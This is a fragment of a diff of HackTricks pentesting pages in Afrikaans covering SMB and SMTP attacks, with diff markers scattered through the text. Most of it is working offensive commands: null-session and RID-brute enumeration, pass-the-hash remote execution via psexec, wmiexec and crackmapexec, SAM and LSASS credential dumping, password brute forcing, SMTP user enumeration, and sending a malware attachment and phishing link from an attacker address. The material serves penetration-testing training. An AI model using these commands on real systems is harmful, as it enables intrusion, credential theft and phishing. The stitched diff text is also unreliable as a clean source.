for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
|
||||
### Metasploit - Enumereer plaaslike gebruikers
|
||||
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
|
||||
### **Enumerating LSARPC en SAMR rpcclient**
|
||||
|
||||
{% content-ref url="rpcclient-enumeration.md" %}
|
||||
[rpcclient-enumeration.md](rpcclient-enumeration.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### GUI-verbinding vanaf Linux
|
||||
|
||||
#### In die terminaal:
|
||||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### In die lêerblaaier-venster (nautilus, thunar, ens.)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Gedeelde Lêers Enumerasie
|
||||
|
||||
### Lys gedeelde lêers
|
||||
|
||||
Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets kan kry, as jy nie geloofsbriewe het nie, probeer om **nul geloofsbriewe/gasgebruiker** te gebruik.
|
||||
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
||||
smbmap -H <IP> [-P <PORT>] #Null user
|
||||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||||
|
||||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
|
||||
### **Verbind/Lys 'n gedeelde lêer**
|
||||
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||||
|
||||
#List with smbmap, without folder it list everything
|
||||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
|
||||
### **Handmatig ontleed Windows-aandele en verbind daarmee**
|
||||
|
||||
Dit mag moontlik wees dat jy beperk is om enige aandele van die gasrekenaar te vertoon en wanneer jy probeer om hulle te lys, lyk dit asof daar geen aandele is om mee te verbind nie. Dit mag dus die moeite werd wees om handmatig met 'n aandeel te probeer verbind. Om die aandele handmatig te ontleed, wil jy dalk kyk vir reaksies soos NT\_STATUS\_ACCESS\_DENIED en NT\_STATUS\_BAD\_NETWORK\_NAME, wanneer jy 'n geldige sessie gebruik (bv. 'n nul-sessie of geldige geloofsbriewe). Hierdie kan aandui of die aandeel bestaan en jy nie toegang daartoe het nie, of dat die aandeel glad nie bestaan nie.
|
||||
|
||||
Gewone aandele name vir Windows teikens is
|
||||
|
||||
* C$
|
||||
* D$
|
||||
* ADMIN$
|
||||
* IPC$
|
||||
* PRINT$
|
||||
* FAX$
|
||||
* SYSVOL
|
||||
* NETLOGON
|
||||
|
||||
(Gewone aandele name van _**Network Security Assessment 3de uitgawe**_)
|
||||
|
||||
Jy kan probeer om met hulle te verbind deur die volgende bevel te gebruik
|
||||
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
|
||||
vir hierdie skrip (deur 'n nul-sessie te gebruik)
|
||||
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
ip='<TARGET-IP-HERE>'
|
||||
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||||
|
||||
for share in ${shares[*]}; do
|
||||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||||
|
||||
if [[ -z $output ]]; then
|
||||
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||||
else
|
||||
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
Voorbeelde
|
||||
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
|
||||
### **Enumerateer aandele vanaf Windows / sonder derdeparty-hulpmiddels**
|
||||
|
||||
PowerShell
|
||||
|
||||
```powershell
|
||||
# Retrieves the SMB shares on the locale computer.
|
||||
Get-SmbShare
|
||||
Get-WmiObject -Class Win32_Share
|
||||
# Retrieves the SMB shares on a remote computer.
|
||||
get-smbshare -CimSession "<computer name or session object>"
|
||||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||||
Get-SmbConnection
|
||||
```
|
||||
|
||||
CMD-konsole
|
||||
|
||||
```shell
|
||||
# List shares on the local computer
|
||||
net share
|
||||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
|
||||
### MMC Snap-in (grafies)
|
||||
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
|
||||
explorer.exe (grafies), voer `\\<ip>\` in om die beskikbare nie-verborge aandele te sien.
|
||||
|
||||
### Monteer 'n gedeelde vouer
|
||||
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
|
||||
### **Laai lêers af**
|
||||
|
||||
Lees vorige afdelings om te leer hoe om te koppel met geloofsbriewe/Pass-the-Hash.
|
||||
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
```
|
||||
|
||||
```bash
|
||||
#Download all
|
||||
smbclient //<IP>/<share>
|
||||
> mask ""
|
||||
> recurse
|
||||
> prompt
|
||||
> mget *
|
||||
#Download everything to current directory
|
||||
```
|
||||
|
||||
### Domein Gedeelde Lêersoek
|
||||
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
|
||||
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spinnekop.
|
||||
* `-M spinnekop_plus [--share <share_name>]`
|
||||
* `--patroon txt`
|
||||
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
|
||||
Veral interessant van aandele is die lêers genaamd **`Registry.xml`** omdat hulle **moontlik wagwoorde** kan bevat vir gebruikers wat ingestel is met **autologon** via Groepbeleid. Of **`web.config`** lêers omdat hulle geloofsbriewe bevat.
|
||||
|
||||
{% hint style="info" %}
|
||||
Die **SYSVOL-aandeel** is **leesbaar** deur alle geautehtiseerde gebruikers in die domein. Daar kan jy baie verskillende bat, VBScript, en PowerShell **scripts** **vind**.\
|
||||
Jy moet die **scripts** daarin **ondersoek** aangesien jy moontlik sensitiewe inligting soos **wagwoorde** kan **vind**.
|
||||
{% endhint %}
|
||||
|
||||
## Lees Register
|
||||
|
||||
Jy kan dalk die register **lees** met behulp van sommige ontdekte geloofsbriewe. Impacket **`reg.py`** laat jou toe om te probeer:
|
||||
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
|
||||
## Naoeskatting
|
||||
|
||||
Die **standaard konfigurasie van** 'n **Samba**-bediener is gewoonlik geleë in `/etc/samba/smb.conf` en mag dalk enkele **gevaarlike konfigurasies** hê:
|
||||
|
||||
| **Instelling** | **Beskrywing** |
|
||||
| --------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Laat lys van beskikbare aandele in die huidige aandeel toe? |
|
||||
| `read only = no` | Verbied die skep en wysiging van lêers? |
|
||||
| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? |
|
||||
| `guest ok = yes` | Laat koppelings na die diens toe sonder om 'n wagwoord te gebruik? |
|
||||
| `enable privileges = yes` | Eer voorregte wat aan spesifieke SID toegewys is? |
|
||||
| `create mask = 0777` | Watter regte moet aan nuut geskepte lêers toegewys word? |
|
||||
| `directory mask = 0777` | Watter regte moet aan nuut geskepte gids toegewys word? |
|
||||
| `logon script = script.sh` | Watter skrip moet uitgevoer word met die gebruiker se aanmelding? |
|
||||
| `magic script = script.sh` | Watter skrip moet uitgevoer word wanneer die skrip gesluit word? |
|
||||
| `magic output = script.out` | Waar moet die uitset van die toor skrip gestoor word? |
|
||||
|
||||
Die opdrag `smbstatus` gee inligting oor die **bediener** en oor **wie gekoppel is**.
|
||||
|
||||
## Verifieer met Kerberos
|
||||
|
||||
Jy kan **verifieer** na **kerberos** met die gereedskap **smbclient** en **rpcclient**:
|
||||
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
|
||||
## **Voer Opdragte Uit**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec kan opdragte uitvoer deur enige van die volgende te misbruik: **mmcexec, smbexec, atexec, wmiexec**, waarvan **wmiexec** die **verstek** metode is. Jy kan aandui watter opsie jy verkies om te gebruik met die parameter `--exec-method`:
|
||||
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Beide opsies sal 'n nuwe diens skep (deur _\pipe\svcctl_ via SMB te gebruik) op die slagoffer se masjien en dit gebruik om iets uit te voer (**psexec** sal 'n uitvoerbare lêer na ADMIN$ deel oplaai en **smbexec** sal na **cmd.exe/powershell.exe** wys en die lading in die argumente plaas --**lêerlose tegniek-**-).\
|
||||
**Meer inligting** oor [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) en [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
|
||||
Gebruik die **parameter** `-k` om teen **kerberos** te verifieer in plaas van **NTLM**
|
||||
|
||||
### [wmiexec](../../windows-hardening/lateral-movement/wmicexec.md)/dcomexec
|
||||
|
||||
Voer stiekem 'n bevelskulp uit sonder om die skyf aan te raak of 'n nuwe diens te hardloop deur DCOM te gebruik via **poort 135.**\
|
||||
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
|
||||
Met die **parameter** `-k` kan jy teen **kerberos** verifieer in plaas van **NTLM**.
|
||||
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
|
||||
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
|
||||
|
||||
Voer bevele uit via die Taakbeplanner (deur _\pipe\atsvc_ via SMB).\
|
||||
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
|
||||
## Impacket verwysing
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Bruteforce gebruikersgelde**
|
||||
|
||||
**Dit word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toelaatbare pogings oorskry**
|
||||
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
|
||||
## SMB-relay aanval
|
||||
|
||||
Hierdie aanval maak gebruik van die Responder toolkit om **SMB-outentiseringsessies vas te vang** op 'n interne netwerk, en **skakel** hulle deur na 'n **teikenrekenaar**. As die outentiseringsessie **suksesvol is**, sal dit jou outomaties in 'n **sisteem** **shell** plaas.\
|
||||
[**Meer inligting oor hierdie aanval hier.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Valstrik
|
||||
|
||||
Die Windows-biblioteek URLMon.dll probeer outomaties outentiseer na die gasheer wanneer 'n bladsy probeer om toegang tot 'n paar inhoud te verkry via SMB, byvoorbeeld: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Dit gebeur met die funksies:
|
||||
|
||||
* URLDownloadToFile
|
||||
* URLDownloadToCache
|
||||
* URLOpenStream
|
||||
* URLOpenBlockingStream
|
||||
|
||||
Wat deur sommige blaaier en gereedskap (soos Skype) gebruik word
|
||||
|
||||
![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (93).png>)
|
||||
|
||||
### SMB-Valstrik met MitMf
|
||||
|
||||
![Van: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../.gitbook/assets/image (94).png>)
|
||||
|
||||
## NTLM-diefstal
|
||||
|
||||
Soortgelyk aan SMB-valstrik, kan die plant van skadelike lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-outentiseringspoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak word of gebruik word in 'n [SMB-relay aanval](./#smb-relay-attack).
|
||||
|
||||
[Sien: ntlm\_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for SMB
|
||||
Note: |
|
||||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||||
|
||||
#These are the commands I run in order every time I see an open SMB port
|
||||
|
||||
With No Creds
|
||||
nbtscan {IP}
|
||||
smbmap -H {IP}
|
||||
smbmap -H {IP} -u null -p null
|
||||
smbmap -H {IP} -u guest
|
||||
smbclient -N -L //{IP}
|
||||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||||
rpcclient {IP}
|
||||
rpcclient -U "" {IP}
|
||||
crackmapexec smb {IP}
|
||||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||||
getArch.py -target {IP}
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
||||
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
Description: General SMB Scan
|
||||
Command: enum4linux -a {IP}
|
||||
|
||||
Entry_3:
|
||||
Name: Nmap SMB Scan 1
|
||||
Description: SMB Vuln Scan With Nmap
|
||||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||
|
||||
Entry_4:
|
||||
Name: Nmap Smb Scan 2
|
||||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||||
|
||||
Entry_5:
|
||||
Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||
|
||||
Entry_6:
|
||||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -27,10 +27,12 @@ Die **Simple Mail Transfer Protocol (SMTP)** is 'n protokol wat binne die TCP/IP
|
|||
In die praktyk is dit algemeen vir **e-posprogramme** om **SMTP te gebruik vir die stuur van e-posse**, terwyl hulle **POP3 of IMAP gebruik vir die ontvang** daarvan. Op Unix-gebaseerde stelsels, steek **sendmail** uit as die SMTP-bedienaar wat meesal vir e-posdoeleindes gebruik word. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bedienaar in. Verder bied **Microsoft Exchange** 'n SMTP-bedienaar en bied die opsie om POP3-ondersteuning in te sluit.
|
||||
|
||||
**Verstekpoort:** 25,465(ssl),587(ssl)
|
||||
|
||||
```
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
||||
```
|
||||
|
||||
### EPOS-Opmerkings
|
||||
|
||||
Indien jy die geleentheid het om die slagoffer 'n e-pos te laat stuur (byvoorbeeld via die kontakvorm van die webwerf), doen dit omdat jy dalk meer te wete kan kom oor die interne topologie van die slagoffer deur na die opmerkings van die e-pos te kyk.
|
||||
|
@ -46,26 +48,35 @@ Die opsporing van die AV kan jou in staat stel om bekende kwesbaarhede uit te bu
|
|||
### **Banner Grabbing/ Basiese verbinding**
|
||||
|
||||
**SMTP:**
|
||||
|
||||
```bash
|
||||
nc -vn <IP> 25
|
||||
```
|
||||
|
||||
**SMTPS**:
|
||||
|
||||
```bash
|
||||
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
|
||||
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
|
||||
```
|
||||
|
||||
### Vind MX-bedieners van 'n organisasie
|
||||
|
||||
```bash
|
||||
dig +short mx google.com
|
||||
```
|
||||
|
||||
### Opsomming
|
||||
|
||||
```bash
|
||||
nmap -p25 --script smtp-commands 10.10.10.10
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
||||
### NTLM Auth - Inligtingsoffering
|
||||
|
||||
Indien die bediener NTLM-outentifisering ondersteun (Windows), kan jy sensitiewe inligting (weergawes) verkry. Meer inligting [**hier**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
||||
|
||||
```bash
|
||||
root@kali: telnet example.com 587
|
||||
220 example.com SMTP Server Banner
|
||||
|
@ -76,11 +87,13 @@ NTLM supported
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
|
||||
Of **outomatiseer** dit met **nmap** invoegtoepassing `smtp-ntlm-info.nse`
|
||||
|
||||
### Interne bediener naam - Inligting bekendmaking
|
||||
|
||||
Sommige SMTP-bedieners vul outomaties 'n afsender se adres aan wanneer die opdrag "MAIL FROM" uitgereik word sonder 'n volledige adres, wat sy interne naam bekendmaak:
|
||||
|
||||
```
|
||||
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
|
||||
EHLO all
|
||||
|
@ -99,6 +112,7 @@ EHLO all
|
|||
MAIL FROM: me
|
||||
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
|
||||
```
|
||||
|
||||
### Sniffing
|
||||
|
||||
Kyk of jy enige wagwoorde kan afsniffel van die pakkies na poort 25
|
||||
|
@ -110,6 +124,7 @@ Kyk of jy enige wagwoorde kan afsniffel van die pakkies na poort 25
|
|||
**Verifikasie is nie altyd nodig nie**
|
||||
|
||||
### RCPT TO
|
||||
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -127,9 +142,11 @@ RCPT TO:admin
|
|||
RCPT TO:ed
|
||||
250 2.1.5 ed... Recipient ok
|
||||
```
|
||||
|
||||
### VRFY
|
||||
|
||||
VRFY (Verify) is an SMTP command used to verify whether a specific user or email address exists within a mail server. This command can be used by attackers to gather information about valid user accounts on a target system. It is often disabled on modern mail servers due to security concerns.
|
||||
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -145,10 +162,13 @@ VRFY root
|
|||
VRFY blah
|
||||
550 blah... User unknown
|
||||
```
|
||||
|
||||
### EXPN
|
||||
|
||||
#### Uitleg:
|
||||
|
||||
Die `EXPN`-bevel word gebruik om die volle e-posadres van 'n spesifieke e-posgroep of gebruiker op te haal. Dit kan 'n veiligheidsrisiko skep deur sensitiewe inligting oor e-posgebruikers bloot te stel. Dit word dikwels deur aanvallers gebruik om inligting te versamel vir sosiale ingenieurswese-aanvalle. Dit is 'n goeie praktyk om die `EXPN`-bevel te deaktiveer om die privaatheid van e-posgebruikers te beskerm.
|
||||
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -165,12 +185,15 @@ EXPN root
|
|||
EXPN sshd
|
||||
250 2.1.5 sshd privsep sshd@myhost
|
||||
```
|
||||
|
||||
### Outomatiese gereedskap
|
||||
|
||||
```
|
||||
Metasploit: auxiliary/scanner/smtp/smtp_enum
|
||||
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
||||
Nmap: nmap --script smtp-enum-users <IP>
|
||||
```
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
|
||||
|
@ -184,6 +207,7 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
## [Opdragte](smtp-commands.md)
|
||||
|
||||
### Stuur 'n e-pos vanaf die Linux-konsole
|
||||
|
||||
```bash
|
||||
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
|
||||
Reading message body from STDIN because the '-m' option was not used.
|
||||
|
@ -197,62 +221,57 @@ If you are manually typing in a message:
|
|||
```bash
|
||||
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
|
||||
```
|
||||
